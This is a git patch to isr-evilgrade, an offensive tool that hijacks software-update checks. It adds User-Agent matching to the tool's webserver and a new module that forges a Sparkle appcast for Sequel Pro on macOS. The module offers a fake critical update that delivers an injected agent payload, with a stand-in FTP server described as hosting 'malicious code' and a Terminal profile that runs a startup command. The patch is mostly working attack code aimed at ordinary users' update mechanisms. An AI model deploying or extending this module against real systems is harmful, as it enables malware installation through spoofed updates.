From debd2e680b9fb985d18e0e705e08f34c22ddd16c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20A=2E=20R=C3=A9=20Medina?= Date: Wed, 8 Jun 2016 19:16:14 -0300 Subject: [PATCH] Sparkle generic module exploitation added & added useragent mode to additionally add another filter. --- isrcore/webserver.pm | 106 ++++++++++++++++++++------- acer.pm => modules/acer.pm | 0 modules/asus.pm | 2 +- modules/sparkle2.pm | 145 +++++++++++++++++++++++++++++++++++++ 4 files changed, 224 insertions(+), 29 deletions(-) rename acer.pm => modules/acer.pm (100%) create mode 100644 modules/sparkle2.pm diff --git a/isrcore/webserver.pm b/isrcore/webserver.pm index 62edcc5..69e8c92 100755 --- a/isrcore/webserver.pm +++ b/isrcore/webserver.pm @@ -284,7 +284,7 @@ sub loadmodule { ( $agent, undef, undef, undef, $error ) = $self->checkagent($agent); return "Agent ($agent) did not exists\n" if ($error); - $module->{'Base'}->{'options'}->{'url_file'}->{'val'} = ''; + $module->{'Base'}->{'options'}->{'url_file'}->{'val'} = ''; $module->{'Base'}->{'options'}->{'url_file_ext'}->{'val'} = ''; #Agent size @@ -369,7 +369,8 @@ sub response { #$shellz->printshell("[$self->{'Base'}->{'whoami'}] -[$clientip] - METHOD: ".dump($method)."\n",1); #### fin add method - my $vh = "novirtual"; + my $vh = "novirtual"; + my $useragent = "none"; $shellz->printshell( "[$self->{'Base'}->{'whoami'}] -[$clientip] - Packet request: " @@ -386,9 +387,12 @@ sub response { if ( $buff =~ /^host\:[ \t]+([\.\w-_]+)[\r\:\d\n]+$/i ) { #TODO: arreglar esto, esta feo (duplicacion) $vh = $1; - } - elsif ( $buff =~ /^host\:([\.\w-_]+)[\r\:\d\n]+$/i ) { + } elsif ( $buff =~ /^host\:([\.\w-_]+)[\r\:\d\n]+$/i ) + { $vh = $1; + } elsif ( $buff =~ /^User\-Agent\: (.*?)$/ ) # get User-Agent + { + $useragent = $1; } } @@ -404,24 +408,67 @@ sub response { #Recorrer los request foreach my $module ( @{ $self->{'request'} } ) { - next - if ( $module->{'Base'}->{'vh'} !~ $vh ) - ; #goto next vh if it's different to client virtualhost - my $req = $module->{'Base'}->{'request'}; + # Skip if the vh does not match the module's vh and either the useragent option has been disabled nor exists, skip to next one. + + # $shellz->printshell("\n[*] CURRENT MODULE: $module->{'Base'}->{'name'};\n"); + # $shellz->printshell("\n[*][1] Checking whether virtualhost matches request."); + # If current module's virtualhost does not match request's + if ($module->{'Base'}->{'vh'} !~ $vh) + { + # $shellz->printshell("\n[*][2] Virtualhost dit not match."); + # If useragent option not defined skip. + if (!defined($module->{'Base'}->{'useragent'})) + { + # $shellz->printshell("\n[*][3] User agent undefined. Next."); + next; + } + + # $shellz->printshell("\n[*][4] User agent defined."); + # If useragent defined but does not equal to 'true' + if (defined($module->{'Base'}->{'useragent'}) + && $module->{'Base'}->{'useragent'} ne 'true') + { + # $shellz->printshell("\n[*][5] User agent defined but disabled."); + next; + } + # $shellz->printshell("\n[*][6] Useragent defined and enabled."); + } else + { + # $shellz->printshell("\n[*][7] Virtualhost matched."); + } + + + + my $req = $module->{'Base'}->{'request'}; foreach my $item ( @{$req} ) { - # print dump($item); - if ( $creq =~ /$item->{'req'}/ ) - { #compare client request with module request - if ( defined( $item->{'vh'} ) && $vh !~ $item->{'vh'} ) - { #if vh is different than internal request virtual host go to next + # If the curent module's HTTP request matches + if ($creq =~ /$item->{'req'}/) + { + # $shellz->printshell("\n[*][8] Request matched current module req."); + # If useragent defined, enabled and does not match, skip. + if (defined($module->{'Base'}->{'useragent'}) + && ($module->{'Base'}->{'useragent'} eq 'true') + && ($useragent !~ $item->{'useragent'}) ) + { + # $shellz->printshell("\n[*][9] UserAgent enabled but did not match. Next. "); next; } + # If the req's vh is defined and does not match current, skip. + if (defined( $item->{'vh'} ) + && $vh !~ $item->{'vh'} ) + { + # $shellz->printshell("\n[*][10] Current module's req has vh defined but did not match with request. Next."); + next; + } + + # If the req's method does not match current, skip. if ( $item->{'method'} ne "" && $method !~ $item->{'method'} ) - { #if vh is different than internal request virtual host go to next + { + # $shellz->printshell("\n[*][11] Request's method did not match module's one. Next."); next; } @@ -444,12 +491,14 @@ sub response { $module->{'Base'}->{'options'}->{'request'}->{'val'} = $creq; #set url options - my($urlfile, $urldir, $urlext) = fileparse($creq, qr/\.[^.]*/); - $module->{'Base'}->{'options'}->{'url_file'}->{'val'} = $urlfile; - $module->{'Base'}->{'options'}->{'url_file_ext'}->{'val'} = $urlext; + my ( $urlfile, $urldir, $urlext ) + = fileparse( $creq, qr/\.[^.]*/ ); + $module->{'Base'}->{'options'}->{'url_file'}->{'val'} + = $urlfile; + $module->{'Base'}->{'options'}->{'url_file_ext'}->{'val'} + = $urlext; - - fileparse($creq, qr/\.[^.]*/); + fileparse( $creq, qr/\.[^.]*/ ); # print dump($module); @@ -535,21 +584,22 @@ sub response { $shellz->sendcommand( "installed$modname$clientip\n" ); - } -# if ($item->{'keep'}){ -# $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - LOOP \n"); -# $keep = 1; -# } -#before request + } + # if ($item->{'keep'}){ + # $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [ $modname] - [# $clientip] - LOOP \n"); + # $keep = 1; + # } + #before request $module->{'Base'}->{'options'}->{'brequest'}->{'val'} = $creq . 1; - last; - } - } + } + # If we already sent a reply and matched a module with a response, stop looping. + # $shellz->printshell("\n[*][12] A module already answered so no need to go finding another."); + last; } # if ($keep) { diff --git a/acer.pm b/modules/acer.pm similarity index 100% rename from acer.pm rename to modules/acer.pm diff --git a/modules/asus.pm b/modules/asus.pm index 0488b16..1f762b6 100644 --- a/modules/asus.pm +++ b/modules/asus.pm @@ -68,7 +68,7 @@ my $base = { <%VERSION%> <%AGENTSIZE%> <%TIME%> - pub/ASUS/nb/Apps/Updates/<%ZIPNAME%>.zip + pub/ASUS/nb/Apps/Updates/<%ZIPNAME%>.zip .\setup.exe 1 0 diff --git a/modules/sparkle2.pm b/modules/sparkle2.pm new file mode 100644 index 0000000..14ff101 --- /dev/null +++ b/modules/sparkle2.pm @@ -0,0 +1,145 @@ +############### +# sparkle2.pm +# +# Copyright 2016 Matias Ariel Re Medina +# +# Info: +# https://vulnsec.com/2016/osx-apps-vulnerabilities/ +# Credits to @radekk +# This module +# +# This file is part of isr-evilgrade, www.infobytesec.com . +# +# isr-evilgrade is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation version 2 of the License. +# +# isr-evilgrade is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with isr-evilgrade; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +# ''' +## + +package modules::sparkle2; + +use strict; +use Data::Dump qw(dump); + +use isrcore::utils; + +my $base = { + 'name' => 'Sparkle2', + 'version' => '1.0', + 'appver' => 'All', + 'author' => ['Matias Ariel Re Medina '], + 'description' => qq{}, + # 'vh' => '', #(sequelpro.com)', # |adiumx.cachefly.net|download.panic.com|iterm2.com|github.com, + 'useragent' => 'true', + 'request' => [ + { 'req' => 'testing', #match Sparkle header, + 'useragent' => 'Sparkle', + 'agent' => '', + 'type' => 'string', #file|string|agent|install + 'method' => '', #any + 'bin' => '', + 'string' => ' + + + <%APPNAME%> + <%APPLINK%> + Appcast for Sequel Pro + en + + <%APPNAME%> <%VERSION%> (9 major bugs fixed; 6 new features) + Critical update available. + + ]]> + <%PUBDATE%> + + + +', + 'parse' => 1, + 'file' => '', + }, + ], + + #Options + 'options' => { + 'agent' => { + 'val' => './agent/osx/update.dmg', + 'desc' => 'Agent to inject' + }, + 'enable' => { + 'val' => 1, + 'desc' => 'Status' + }, + 'appname' => { + 'val' => 'Sequel Pro', + 'desc' => 'Application name.' + }, + 'applink' => { + 'val' => 'http://www.sequelpro.com', + 'desc' => 'Application link.' + }, + 'appurl' => { + 'val' => 'https://github.com/sequelpro/sequelpro/releases/download/release-1.1/sequel-pro-1.1.dmg', + 'desc' => 'Application url.' + }, + 'pubdate' => { + 'val' => 'Wed, 08 Jun 2019 19:20:11 +0000', + 'desc' => 'Release date.' + }, + 'sversion' => { + 'val' => '9.99', + 'desc' => 'App version.' + }, + 'version' => { + 'val' => '9999', + 'desc' => 'App version.' + }, + 'ftp' => { + 'val' => 'ftp://anonymous:nopass@our-fake-server.com/', + 'desc' => 'FTP server (our-fake-server.com) to host our malicious code.' + }, + 'termfile' => { + 'val' => 'file:///Volumes/our-fake-server.com/UPGRADE.terminal', + 'desc' => 'UPGRADE.terminal file is an exported setting profile from the Terminal app (Terminal -> Preferences -> Profiles). Inside the "Shell" tab of selected profile, there is a possibility to add a startup command to execute immediately after loading a profile.' + }, + 'dsasig' => { + 'val' => 'dsasig MCwCFAyXhQMU7BR1tqa8KFuXnGAooA4ZAhQtJoStAhvbfmvsaejqnWSKWZUuY==', + 'desc' => 'DSA Signature.' + }, + } +}; + +########################################################################## +# FUNCTION new +# RECEIVES +# RETURNS +# EXPECTS +# DOES class's constructor +sub new { + my $class = shift; + my $self = { 'Base' => $base, @_ }; + return bless $self, $class; +} +1;